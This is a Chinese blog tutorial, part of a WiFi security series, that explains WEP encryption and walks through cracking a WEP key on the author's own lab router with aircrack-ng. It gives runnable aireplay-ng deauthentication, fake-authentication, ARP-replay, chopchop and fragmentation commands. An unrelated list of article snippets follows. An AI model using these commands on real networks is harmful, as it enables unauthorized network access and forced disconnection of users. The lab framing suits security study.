当前位置: 首页 > news >正文

无线WiFi安全渗透与攻防(五)之aircrack-ng破解WEP加密

系列文章

无线WiFi安全渗透与攻防(一)之无线安全环境搭建
无线WiFi安全渗透与攻防(二)之打造专属字典
无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码
无线WiFi安全渗透与攻防(四)之kismet的使用

aircrack-ng破解WEP加密

1.WEP介绍

其实我们平常在使用wifi的时候,往往会用到的加密方式主要有WEP(pre-RSNA), WPA(TKIP), WPA2(CCMP-AES), 如果有个别对安全要求比较高的也会使用企业级加密(802.1x). 在最新的802.11-2010标准中,有明确的支持新的无线设备应该抛弃WEP和WPA加密方式,而且必须支持WPA2加密方式,但是不得不接受的是,现在我们是有的大多数设备并没有更新的这么快,广泛的WEP和WPA仍然在使用中,而且新开发的设备也应该保持对他们的兼容,所以即使在最新开发的产品中也并没有完全按照802.11-2010的要求,直接放弃对WEP和WPA的支持。

刚开始了解无线加密,也有必要从WEP加密开始掌握WEP-WPA-WPA2-802.1x等相关知识,一是这些东西至少在当前阶段还用的上,二是后面那些更高级的加密方法其实根本上还是基于WEP加密思想改进而来的。

其实无线加密主要是对数据在链路层进行加密,如下图,802.11主要是对physical[ˈfɪzɪkl]和Data-link层进行了定义,而数据链路层又分成两个部分,媒介访问控制(MAC)和逻辑链路控制(LLC),无线数据的加密处理就是在MAC和LLC两个阶段中间做的事情,加密的对象就是MSDU。

在这里插入图片描述

所以对于没有MSDP的无线帧是不用加密的,比如管理帧只携带layer [ler] 2的信息,不需要加密;控制帧只有头部和尾部,不需要加密;空帧没有数据域(但有特定的功能),也不需要加密; 总之,需要加密的帧,往往是数据帧。

2.认证类型

加密的分类主要包括共享秘钥认证和开放系统认证,WEP加密是共享秘钥式,而TKIP、CCMP和802.1x则是开放系统,这两种分类个人觉得主要区别是先完成秘钥认证再进行关联,还是先完成关联再进行秘钥认证。比如,它要求无线客户端发送的authentication [ɔːˌθentɪˈkeɪʃn] 报文中指定加密方式,如果是共享秘钥就会进行秘钥的确认,如果是开放系统,则会留到后面关联成功后进行秘钥的确认。

1.开放系统认证

这种认证方式不需要确认STA的任何信息,它只是和AP进行一个招呼式的交互,这个过程中并没有交互身份信息,所以也可以认为是一个空加密。这样做的目的是,双方都认为应该在后面使用更安全的加密方式,在这里只是先打个招呼,STA先进来,我们慢慢坐下核对信息。所以STA发送的第一个Authentication [ɔːˌθentɪˈkeɪʃn] 报文只要表面自己使用的开放系统认证就好了,AP自然会给予successful答复,接着后面顺利完成关联。

在这里插入图片描述

2.共享秘钥认证

这种认证方式使用WEP认证STA,所以这种认证的前提是STA和AP都有配置静态的WEP秘钥,因此认证的目的就是确认两者使用的秘钥是否一致。共享秘钥认证是通过4个认证帧的交互来完成的,STA首先发送一个Authentication request给AP,然后AP会给STA回复一个挑战明文,接着STA使用秘钥对这个明文进行加密并发送给AP,最后AP对其进行解密,如果能够解密成功并且明文一致则表示认证成功并回复。

在这里插入图片描述

虽然看起来,共享秘钥认证比开放系统认证会更安全,其实实际上并不是这样,因为对于共享秘钥认证,攻击者可以捕获明文内容,也可以捕获加密后的密文,那就很容易被破解,而且秘钥一旦被破解,那么后面交互的所有数据包都能轻易的解密。

3.加密算法介绍

根据加密算法的分类,可以分为同步加密算法和异步加密算法:

同步加密算法:这种算法不管是加密还是解密,都是使用同一个秘钥,为了确保数据的安全,就需要对这么秘钥进行保护,但问题是在进行认证的时候必须对这个秘钥进行确认,那么就需要提出一种安全的确认秘钥的方法,这些方法包括WEP, TKIP, and CCMP。

异步加密算法:这种算法包含了两个秘钥,分别是公钥和私钥,公钥用于消息的加密,私钥用于消息的解密,所以即使有好多人知道公钥,没有私钥也破解不了消息。

流加密和块加密: 流加密以一个bit为单位进行处理,块加密以一个块为单位进行处理

4.WEP加密和解密

1.加密

WEP是一个Layer 2的加密方法,它使用的是ARC4流加密。它有一个数据完整性校验操作,也就是Integrity Check Value (ICV),这个值是通过计算为加密的数据域(MSDU)而来的。

802.11标准定义了两个WEP版本,分别是WEP-40和WEP-104支持64bit和128bit加密,其实40和104都是从64与128减24得来的,这24位叫初始化向量Initialization Vector (IV),注意和ICV进行区分。

在这里插入图片描述

40和104则是指静态秘钥的bit长度,也就是说

WEP-40支持输入10 hex characters or 5 ASCII characters,10位16进制或5位ASCII字符

WEP-104支持输入26 hex characters or 13 ASCII characters:26位16进制或13位ASCII 字符

在这里插入图片描述

一般来说,WEP支持4个key,使用时从中选一个进行加密。

那么WEP加密过程是怎么实现的呢?下面根据流程图来分析一下

在这里插入图片描述

(1) IV是动态生成的24bit随机数,标准没有指定应该怎么生成,而且在数据帧中以明文的方式进行发送,它和key结合生成随机种子(seed),然后运用CR4算法生成秘钥流(keystream)。

(2)对需要加密的明文进行CRC-32运算,生成 ICV(32位),然后将这个 ICV 追加到 plaintext的后面

(3)将尾部有 ICV的plaintext 与密码流进行异或运算,得到加密数据

(4)将 IV 添加到加密数据的前面,进行传送。

下面是WEP加密后的一个数据帧MPDU 格式:

在这里插入图片描述

从上图可以看出,在帧体部分包括 IV + MSDU + ICV:

IV一共是4个字节,前3个字节是24bit的初始化向量,后面6bit暂时预留空白没用,最后两个bit用来指定使用哪个key,我们前面有提到过,WEP可以配置4个KEY。

MSDU和ICV是被加密的,在解密的时候,需要检验ICV是否一致

2.解密

和加密相反,解密也需要这几个过程:

在这里插入图片描述

(1)IV和key结合生成随机种子(seed),然后运用ACR4算法生成秘钥流(keystream)

(2)将keystream和加密数据进行异或,得到 plaintext 和 ICV

(3)根据解密后得到的 plaintext 再计算一个 ICV 和包中的 ICV进行比较,判断是否相等,这也算是一个可靠性的保证。

5.Aircrack-ng 常用工具包

aircrack-ng:破解

airmon-ng:改变网卡工作模式,将网卡从Managed Mode 改变为 Monitor Mode

airodump-ng:抓包工具,用于捕获报文

aireplay-ng:提供各种攻击,为airodump-ng创造更多的报文

airserv-ng:网卡连接到指定端口 可以用来做无线跳板

airolib-ng:彩虹表破解创建数据库文件

airdecap-ng:解包

6.Aireplay-ng 的 6 种攻击模式详解

1.冲突模式

-0 Deautenticate 冲突模式

使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。

如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效 ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。

aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
【-0】:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
【-a】:设置 ap 的 mac
【-c】:设置已连接的合法客户端的 mac。
如果不设置-c,则断开所有和 ap 连接的合法客户端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器

2.伪装客户端连接

-1 fakeauth count 伪装客户端连接

这种模式是伪装一个客户端和 AP 进行连接。

这步是无线客户端的研究学习的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。为让 AP 接受数据包,必须使自己的网卡和 AP 关联。如果没有关联的话,目标 AP 将忽略所有从你网卡发送的数据包,IVS 数据将不会产生。

用-1 伪装客户端成功连接以后才能发送注入命令,让路由器接受到注入命令后才可反馈数据从而产生 ARP 包。

aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
参数说明:
【-1】:伪装客户端连接模式,后面跟延时
【-e】:设置 ap 的 essid
【-a】:设置 ap 的 mac
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)

3.交互模式

-2 Interactive 交互模式

这种攻击模式是一个抓包和提数据发攻击包,三种集合一起的模式

1.这种模式主要用于研究学习无客户端,先用-1 建立虚假客户端连接然后直接发包攻击

aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
参数说明:
【-2】:交互攻击模式
【-p】:设置控制帧中包含的信息(16 进制),默认采用 0841
【-c】:设置目标 mac 地址
【-b】:设置 ap 的 mac 地址
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)

2.提取包,发送注入数据包, 发包攻击。

 aireplay-ng -2 –r <file> -x 1024 wifi0-x 1024 是限定发包速度,避免网卡死机,可以选择 1024

4.注入攻击模式

-3 ARP-request 注入攻击模式

这种模式是一种抓包后分析重发的过程 这种攻击模式很有效。既可以利用合法客户端,也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客户端那一般需要等几分钟,让合法客户端和 ap 之间通信,少量数据就可产生有效 ARP request 才可利用-3模式注入成功。如果没有任何通信存在,不能得到 ARP request.,则这种攻击就会失败。

如果合法客户端和ap之间长时间内没有 ARP request,可以尝试同时使用-0 攻击. 如果没有合法客户端,则可以利用-1 建立虚拟连接的伪装客户端,连接过程中获得验证数据包,从而产生有效 ARP request。再通过-3 模式注入。

aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
参数说明:
【-3】:arp 注入攻击模式
【-b】:设置 ap 的 mac
【-h】:设置自己的mac地址
【-x】:定义每秒发送数据户包的数量,但是最高不超过 1024,建议使用 512(也可不定义)

5.Chopchop 攻击模式

-4 Chopchop 攻击模式

用以获得一个包含密钥数据的 xor 文件 这种模式主要是获得一个可利用包含密钥数据的 xor 文件,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。

aireplay-ng -4 -b <ap mac> -h <my mac> wifi0 
参数说明:
【-b】:设置需要研究学习的 AP 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)

6.碎片包攻击模式

-5 fragment 碎片包攻击模式

用以获得 PRGA(包含密钥的后缀为 xor 的文件) 这种模式主要是获得一个可利用 PRGA,这里的 PRGA 并不是 wep key 数据,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标 AP 重新广播包,当 AP 重广播时,一个新的 IVS 将产生,我们就是利用这个来研究学习

aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】:碎片包攻击模式
【-b】:设置 ap 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)

7.WEP wifi破解步骤

1.环境准备

1.路由器介绍

本文使用的路由器为:思科企业级内置双天线cvr100无线路由器,支持WEP,WPA,WPS加密方式,一般的家用路由器或者比较新的路由器不支持以上三种模式。

2.路由器配置

1.选择无线配置,设置wifi信道为1

在这里插入图片描述

2.选择无线wifi–设置安全模式

在这里插入图片描述

3.安全模式选择wep,输入口令-点击生成密钥,点击显示密钥,点击保存

在这里插入图片描述

2.查看网卡是否连接到kali

ip a

在这里插入图片描述

3.开启Monitor Mode工作模式

airmon-ng start wlan0

在这里插入图片描述

4.扫描附近的wifi

确定目标wifi的信道,加密方式,信号强度,mac地址等信息

airodump-ng wlan0mon

在这里插入图片描述

5.对目标所在信道进行抓包

airodump-ng wlan0mon -c 1 --ivs -w /root/wifi/bk01/WEP --bssid 10:BD:18:08:43:31
-c:信道
--ivs:初始化向量
-w:输出抓包文件
--bssid:指定wifi进行抓包

在这里插入图片描述

6.手工创建客户端连接

设备连接wifi

当有设备连接AP时,工具会捕获到这个客户端的mac地址即相关信息

在这里插入图片描述

7.进行ARP注入攻击

arp重放攻击,通过模拟客户端发送ARP请求,获取AP的响应报文,通过AP报文获取ivs初始化向量

aireplay-ng -3 -b 10:BD:18:08:43:31 -h 68:54:5A:85:CB:40 wlan0mon
-3:arpreplay:arp重放攻击
-b:bssid AP的mac地址
-h:客户端的mac地址

在这里插入图片描述

遇到这个错误时,重新连接wifi会一直报【无法连接到该wifi】,这时候,需要ctrl+C停掉arp重放攻击,然后重新在发起一个新的arp重放攻击,在连接wifi就ok了

8.使用Deautenticate攻击模式

使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。(也不一定能成功,不成功多试几次)

aireplay-ng -0 5 -a 10:BD:18:08:43:31 -c 68:54:5A:85:CB:40 wlan0mon
-0:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
-a:设置 ap 的 mac
-c:设置已连接的合法客户端的 mac

在这里插入图片描述
在这里插入图片描述

9.手动连接AP

等待Frame到5-10万时,就可以尝试破解了

在这里插入图片描述

10.破解WIFI,获取WEP密码

aircrack-ng /root/wifi/bk01/WEP-01.ivs

在这里插入图片描述

遇到这种说明ivs样本不够,按ctrl+c退出,在等一会重新执行破解命令就可以。也可以在这个界面保持不动,当ivs达到5000时,他会自动重新破解

ivs样本足够时,很快就能破解出来了

在这里插入图片描述

把冒号去掉就是密钥了,然后用这个密钥就可以连接WEP加密的WIFI了

相关文章:

无线WiFi安全渗透与攻防(五)之aircrack-ng破解WEP加密

系列文章 无线WiFi安全渗透与攻防(一)之无线安全环境搭建 无线WiFi安全渗透与攻防(二)之打造专属字典 无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码 无线WiFi安全渗透与攻防(四)之kismet的使用 aircrack-ng破解WEP加密 1.WEP介绍 其实我们平常在使用wifi的时…...

MySQL中事务的相关问题

事务 一、事务的概述&#xff1a; 1、事务处理&#xff08;事务操作&#xff09;&#xff1a;保证所有事务都作为一个工作单元来执行&#xff0c;即使出现了故障&#xff0c;都不能改变这种执行方式。当在一个事务中执行多个操作时&#xff0c;要么所有的事务都被提交(commit…...

推荐算法再次踩坑记录

去年搞通了EasyRec这个玩意&#xff0c;没想到今年还要用推荐方面的东西&#xff0c;行吧&#xff0c;再来一次&#xff0c;再次踩坑试试。1、EasyRec训练测试数据下载&#xff1a;git clone后&#xff0c;进入EasyRec&#xff0c;然后执行&#xff1a;bash scripts/init.sh 将…...

STM32 (十五)MPU6050

简介前言一、MPU6050简介MPU6050是一款性价比很高的陀螺仪&#xff0c;可以读取X Y Z 三轴角度&#xff0c;X Y Z 三轴加速度&#xff0c;还有内置的温度传感器&#xff0c;在姿态解析方面应用非常广泛。下面是它在淘宝上的参数图产品尺寸产品参数产品原理图&#xff1a;二、硬…...

使用yarn,依赖报各种错误怎么办

使用 yarn^3.x 版本时&#xff0c;默认并不会安装包到 node_modules&#xff0c;因为 yarn3.x 是即插即用的&#xff0c;也就是说如果你下载过这个包&#xff0c;yarn只会生成一个 Png文件&#xff0c;然后将包的路径 link 到下载过的地方&#xff0c;这样可以省去很多时间。而…...

面试官:rem和vw有什么区别

"rem" 和 "vw"的区别 "rem" 和 "vw" 都是用于网页设计的CSS单位。 "rem" 是相对于根元素的字体大小来计算的单位&#xff0c;即相对于 "html" 标签的字体大小。例如&#xff0c;如果 "html" 标签的字…...

【GPT-4】GPT-4 相关内容总结

目录 ​编辑 官网介绍 GPT-4 内容提升总结 GPT-4 简短版总结 GPT-4 基础能力 GPT-4 图像处理 GPT-4 技术报告 训练过程 局限性 GPT-4 风险和应对措施 开源项目&#xff1a;OpenAI Evals 申请 GPT-4 API API的介绍以及获取 官网介绍 官网&#xff1a;GPT-4 API候…...

5.springcloud微服务架构搭建 之 《springboot集成Hystrix》

1.springcloud微服务架构搭建 之 《springboot自动装配Redis》 2.springcloud微服务架构搭建 之 《springboot集成nacos注册中心》 3.springcloud微服务架构搭建 之 《springboot自动装配ribbon》 4.springcloud微服务架构搭建 之 《springboot集成openFeign》 目录 1.项目…...

【工作中问题解决实践 七】SpringBoot集成Jackson进行对象序列化和反序列化

去年10月份以来由于公司和家里的事情太多&#xff0c;所以一直没有学习&#xff0c;最近缓过来了&#xff0c;学习的脚步不能停滞啊。回归正题&#xff0c;其实前年在学习springMvc的时候也学习过Jackson【Spring MVC学习笔记 五】SpringMVC框架整合Jackson工具&#xff0c;但是…...

香港服务器遭受DDoS攻击后如何恢复运行?

​  您是否发现流量异常上升?您的网站突然崩溃了吗?当您注意到这些迹象时&#xff0c;可能是在陷入了DDoS攻击的困境&#xff0c;因而&#xff0c;当开始考虑使用香港服务器时&#xff0c;也应该考虑香港服务器设备受DDoS攻击时&#xff0c;如何从中恢复。 在 DDoS 攻击香港…...

【Hive】配置

目录 Hive参数配置方式 参数的配置方式 1. 文件配置 2. 命令行参数配置 3. 参数声明配置 配置源数据库 配置元数据到MySQL 查看MySQL中的元数据 Hive服务部署 hiveserver2服务 介绍 部署 启动 远程连接 1. 使用命令行客户端beeline进行远程访问 metastore服务 …...

IP-GUARD如何强制管控电脑设置开机密码要符合密码复杂度?

如何强制管控电脑设置开机密码要符合密码复杂度? 7 可以在控制台-【策略】-【定制配置】,添加一条配置,开启系统密码复杂度检测。 类别:自定义 关键字:bp_password_complexity 内容:1 效果图:...

剑指 Offer II 031. 最近最少使用缓存

题目链接 剑指 Offer II 031. 最近最少使用缓存 mid 题目描述 运用所掌握的数据结构&#xff0c;设计和实现一个 LRU(Least Recently Used&#xff0c;最近最少使用) 缓存机制 。 实现 LRUCache类&#xff1a; LRUCache(int capacity)以正整数作为容量 capacity初始化 LRU缓…...

44岁了,我从没想过在CSDN创作2年,会有这么大收获

1998年上的大学&#xff0c;02年毕业&#xff0c;就算从工作算起&#xff0c;我也有20余年的码龄生涯了。 但正式开启博文的写作&#xff0c;却是2021年开始的&#xff0c;差不多也就写了2年的博客&#xff0c;今天我来说说我在CSDN的感受和收获。 我是真的没想到&#xff0c;…...

相位相参信号源的设计--示波器上的信号不稳定,来回跑?

目录乱跑的波形边沿触发触发方式外部触发相参与非相参相位相参的射频信号源样机外观与内部设计软件设计上位机软件信号源使用方法PWM触发信号射频信号的时域波形射频信号的频谱输出功率在示波器的实际使用当中波形在示波器的时域上乱跑&#xff0c;左右移动&#xff0c;定不下来…...

Spring Boot 整合 RabbitMQ 多种消息模式

Spring Boot 整合 RabbitMQ 多种消息模式 准备工作集成 RabbitMQ发布/订阅模式点对点模式主题模式总结Spring Boot 是一个流行的 Java 应用程序开发框架,而 RabbitMQ 是一款可靠的消息队列软件。将 Spring Boot 和 RabbitMQ 结合起来可以帮助我们轻松地实现异步消息传递。Rabb…...

node多版本控制

前言 最近在折腾Python&#xff0c;并将node升级至v18.14.2。突然发现一个旧项目无法运行&#xff0c;也无法打包&#xff0c;里面的node-sass报错&#xff0c;显然这是因为node版本过高导致的。 将node版本降低至以前的v14.16.0&#xff0c;果然立马就能正常运行。 存在不同…...

Redis set集合

Redis set &#xff08;集合&#xff09;遵循无序排列的规则&#xff0c;集合中的每一个成员&#xff08;也就是元素&#xff0c;叫法不同而已&#xff09;都是字符串类型&#xff0c;并且不可重复。Redis set 是通过哈希映射表实现的&#xff0c;所以它的添加、删除、查找操作…...

漫画:什么是希尔排序算法?

希尔排序&#xff08;ShellSort&#xff09;是以它的发明者Donald Shell名字命名的&#xff0c;希尔排序是插入排序的改进版&#xff0c;实现简单&#xff0c;对于中等规模数据的性能表现还不错 一、排序思想 前情回顾&#xff1a;漫画&#xff1a;什么是插入排序算法&#xf…...

问卷工具选择要看哪些方面?

通常来讲&#xff0c;我们在使用一款问卷制作工具制作问卷时会有哪些需求呢&#xff1f; 一、用户需求 1、操作简单&#xff0c;易上手。 2、能够满足用户个性化的需求。 3、提供多语言服务。 4、能够帮助发布以及数据收集。 5、简化数据分析 市面上的问卷调查制作工具都…...

java_网络服务相关_gateway_nacos_feign区别联系

1. spring-cloud-starter-gateway 作用&#xff1a;作为微服务架构的网关&#xff0c;统一入口&#xff0c;处理所有外部请求。 核心能力&#xff1a; 路由转发&#xff08;基于路径、服务名等&#xff09;过滤器&#xff08;鉴权、限流、日志、Header 处理&#xff09;支持负…...

基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销&#xff0c;平衡网络负载&#xff0c;延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...

工业安全零事故的智能守护者:一体化AI智能安防平台

前言&#xff1a; 通过AI视觉技术&#xff0c;为船厂提供全面的安全监控解决方案&#xff0c;涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面&#xff0c;能够实现对应负责人反馈机制&#xff0c;并最终实现数据的统计报表。提升船厂…...

【Linux】C语言执行shell指令

在C语言中执行Shell指令 在C语言中&#xff0c;有几种方法可以执行Shell指令&#xff1a; 1. 使用system()函数 这是最简单的方法&#xff0c;包含在stdlib.h头文件中&#xff1a; #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

C++.OpenGL (10/64)基础光照(Basic Lighting)

基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...

libfmt: 现代C++的格式化工具库介绍与酷炫功能

libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库&#xff0c;提供了高效、安全的文本格式化功能&#xff0c;是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全&#xff1a…...

深度剖析 DeepSeek 开源模型部署与应用:策略、权衡与未来走向

在人工智能技术呈指数级发展的当下&#xff0c;大模型已然成为推动各行业变革的核心驱动力。DeepSeek 开源模型以其卓越的性能和灵活的开源特性&#xff0c;吸引了众多企业与开发者的目光。如何高效且合理地部署与运用 DeepSeek 模型&#xff0c;成为释放其巨大潜力的关键所在&…...

【深度学习新浪潮】什么是credit assignment problem?

Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...

[拓扑优化] 1.概述

常见的拓扑优化方法有&#xff1a;均匀化法、变密度法、渐进结构优化法、水平集法、移动可变形组件法等。 常见的数值计算方法有&#xff1a;有限元法、有限差分法、边界元法、离散元法、无网格法、扩展有限元法、等几何分析等。 将上述数值计算方法与拓扑优化方法结合&#…...

边缘计算网关提升水产养殖尾水处理的远程运维效率

一、项目背景 随着水产养殖行业的快速发展&#xff0c;养殖尾水的处理成为了一个亟待解决的环保问题。传统的尾水处理方式不仅效率低下&#xff0c;而且难以实现精准监控和管理。为了提升尾水处理的效果和效率&#xff0c;同时降低人力成本&#xff0c;某大型水产养殖企业决定…...